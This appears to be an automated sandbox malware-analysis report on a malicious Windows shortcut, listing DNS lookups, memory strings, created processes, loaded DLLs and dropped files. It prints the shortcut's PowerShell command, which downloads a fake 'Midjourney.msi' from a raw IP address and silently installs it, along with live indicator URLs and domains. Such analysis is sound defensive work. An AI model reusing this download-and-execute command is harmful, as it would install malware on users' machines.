Source: global traffic	DNS traffic detected: DNS query: y0zvqpi42no.life
Source: global traffic	DNS traffic detected: DNS query: zdf5ki8x9r0.life
Source: global traffic	DNS traffic detected: DNS query: 8mgj12azbyd.life
Source: global traffic	DNS traffic detected: DNS query: l6syolvczan.life
Source: global traffic	DNS traffic detected: DNS query: mk7plk9c6i2.life
Source: global traffic	DNS traffic detected: DNS query: hudrx8fn980.life

Source: powershell.exe, 00000000.00000002.1519354529.000001EA35124000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.242.145.138
Source: powershell.exe, 00000000.00000002.1518627604.000001EA31D10000.00000004.00000020.00020000.00000000.sdmp, Report-41952.lnk	String found in binary or memory: http://193.242.145.138/mid/w1/Midjourney.msi
Source: powershell.exe, 00000000.00000002.1549175940.000001EA4BE30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1552869565.000001EA4C151000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1518961434.000001EA31F90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1519007585.000001EA31FD0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1518627604.000001EA31D47000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1552869565.000001EA4C100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.242.145.138/mid/w1/Midjourney.msi-OutFileC:
Source: powershell.exe, 00000000.00000002.1519007585.000001EA31FD5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.242.145.138/mid/w1/midjourney.msi
Source: powershell.exe, 00000000.00000002.1519354529.000001EA35709000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43E5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000000.00000002.1519354529.000001EA33DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000000.00000002.1519354529.000001EA33DE1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000000.00000002.1519354529.000001EA34011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000000.00000002.1519354529.000001EA34A11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000000.00000002.1519354529.000001EA35709000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43E5E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1544397381.000001EA43F95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

System Summary

Windows shortcut file (LNK) contains suspicious command line arguments

Source: Report-41952.lnk

LNK file: Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "%appdata%\y.msi";msiexec /i %appdata%\y.msi /qn

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\423fe6.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI40C1.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI416E.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI419D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41BE.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI420D.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{E29C2A9E-997E-49AB-92C0-59583123ED29}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI42AA.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSI40C1.tmp

Jump to behavior

Source: Joe Sandbox View

Dropped File: C:\Windows\Installer\MSI40C1.tmp 8D633EFEDA1249356B11BF8F46583242356E4F903056B53BD25A99511D1790A1

Source: classification engine

Classification label: mal92.troj.winLNK@9/23@101/18

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\y.msi

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_i3uazcf3.roa.ps1

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Report-41952.lnk

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Roaming\y.msi /qn
Source: unknown	Process created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 800D0887C271C3914D75F510FDC66322
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\system32\msiexec.exe" /i C:\Users\user\AppData\Roaming\y.msi /qn	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 800D0887C271C3914D75F510FDC66322	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\MsiExec.exe" /Y "C:\ProgramData\BDncqpUxZl.dll"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: tsappcmp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: cabinet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Section loaded: fwpuclnt.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:

Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: MSI41BE.tmp.4.dr, MSI420D.tmp.4.dr, MSI40C1.tmp.4.dr, MSI416E.tmp.4.dr, 423fe6.msi.4.dr, MSI419D.tmp.4.dr, y.msi.0.dr

Data Obfuscation

Suspicious powershell command line found

Source: unknown

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest "http://193.242.145.138/mid/w1/Midjourney.msi" -OutFile "C:\Users\user\AppData\Roaming\y.msi";msiexec /i C:\Users\user\AppData\Roaming\y.msi /qn

Source: BDncqpUxZl.dll.4.dr	Static PE information: section name: .rotext
Source: BDncqpUxZl.dll.4.dr	Static PE information: section name: .rodata

Persistence and Installation Behavior

Windows shortcut file (LNK) starts blacklisted processes

Source: LNK file

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI419D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI420D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI40C1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI416E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41BE.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\ProgramData\BDncqpUxZl.dll	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe

File created: C:\ProgramData\BDncqpUxZl.dll

Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI419D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI420D.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI40C1.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI416E.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI41BE.tmp	Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
